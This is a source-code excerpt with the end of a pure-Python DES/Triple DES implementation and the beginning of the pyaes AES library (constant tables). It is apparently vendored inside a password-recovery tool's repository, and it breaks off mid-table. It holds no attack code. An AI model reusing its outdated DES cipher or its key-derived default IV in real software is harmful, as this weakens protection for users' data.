iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 #B = [] #while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 Bn = [0] * 32 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] #cached = 0 #lines = 0 while i < len(data): # Test code for caching encryption results #lines += 1 #if dict.has_key(data[i:i+8]): #print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i+8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = list(map(lambda x, y: x ^ y, block, iv)) #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list #d = self.__BitList_to_String(processed_block) #result.append(d) result.append(self.__BitList_to_String(processed_block)) #dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Return the full crypted string if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self._padData(data, pad, padmode) return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : Bytes to be decrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self.crypt(data, des.DECRYPT) return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): """Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> Bytes containing the encryption key, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): _baseDes.__init__(self, mode, IV, pad, padmode) self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC: if not self.getIV(): # Use the first 8 bytes of the key self._iv = key[:self.block_size] if len(self.getIV()) != self.block_size: raise ValueError("Invalid IV, must be 8 bytes in length") self.__key1 = des(key[:8], self._mode, self._iv, self._padding, self._padmode) self.__key2 = des(key[8:16], self._mode, self._iv, self._padding, self._padmode) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:], self._mode, self._iv, self._padding, self._padmode) _baseDes.setKey(self, key) # Override setter methods to work on all 3 keys. def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" _baseDes.setMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setMode(mode) def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" _baseDes.setPadding(self, pad) for key in (self.__key1, self.__key2, self.__key3): key.setPadding(pad) def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" _baseDes.setPadMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setPadMode(mode) def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" _baseDes.setIV(self, IV) for key in (self.__key1, self.__key2, self.__key3): key.setIV(IV) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) # Pad the data accordingly. data = self._padData(data, pad, padmode) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): block = self.__key1.crypt(data[i:i+8], ENCRYPT) block = self.__key2.crypt(block, DECRYPT) block = self.__key3.crypt(block, ENCRYPT) self.__key1.setIV(block) self.__key2.setIV(block) self.__key3.setIV(block) result.append(block) i += 8 if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) else: data = self.__key1.crypt(data, ENCRYPT) data = self.__key2.crypt(data, DECRYPT) return self.__key3.crypt(data, ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting, no pad character is required for PAD_PKCS5. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): iv = data[i:i+8] block = self.__key3.crypt(iv, DECRYPT) block = self.__key2.crypt(block, ENCRYPT) block = self.__key1.crypt(block, DECRYPT) self.__key1.setIV(iv) self.__key2.setIV(iv) self.__key3.setIV(iv) result.append(block) i += 8 if _pythonMajorVersion < 3: data = ''.join(result) else: data = bytes.fromhex('').join(result) else: data = self.__key3.crypt(data, DECRYPT) data = self.__key2.crypt(data, ENCRYPT) data = self.__key1.crypt(data, DECRYPT) return self._unpadData(data, pad, padmode) ================================================ FILE: Windows/lazagne/config/crypto/pyaes/__init__.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ VERSION = [1, 3, 0] from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter from .blockfeeder import PADDING_NONE, PADDING_DEFAULT ================================================ FILE: Windows/lazagne/config/crypto/pyaes/aes.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # Honestly, the best description of the modes of operations are the wonderful # diagrams on Wikipedia. They explain in moments what my words could never # achieve. Hence the inline documentation here is sparer than I'd prefer. # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. import copy import struct __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] def _string_to_bytes(text): return list(ord(c) for c in text) def _bytes_to_string(binary): return "".join(chr(b) for b in binary) def _concat_list(a, b): return a + b # Python 3 compatibility try: xrange except NameError: xrange = range # Python 3 supports bytes, which is already an array of integers def _string_to_bytes(text): if isinstance(text, bytes): return text return [ord(c) for c in text] # In Python 3, we return bytes def _bytes_to_string(binary): return bytes(binary) # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first def _concat_list(a, b): return a + bytes(b) # Based *largely* on the Rijndael implementation # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf class AES(object): '''Encapsulates the AES block cipher. You generally should not need this. Use the AESModeOfOperation classes below instead.''' # Number of rounds by keysize number_of_rounds = {16: 10, 24: 12, 32: 14} # Round constant words rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] # S-box and Inverse S-box (S is for Substitution) S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] # Transformations for encryption T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 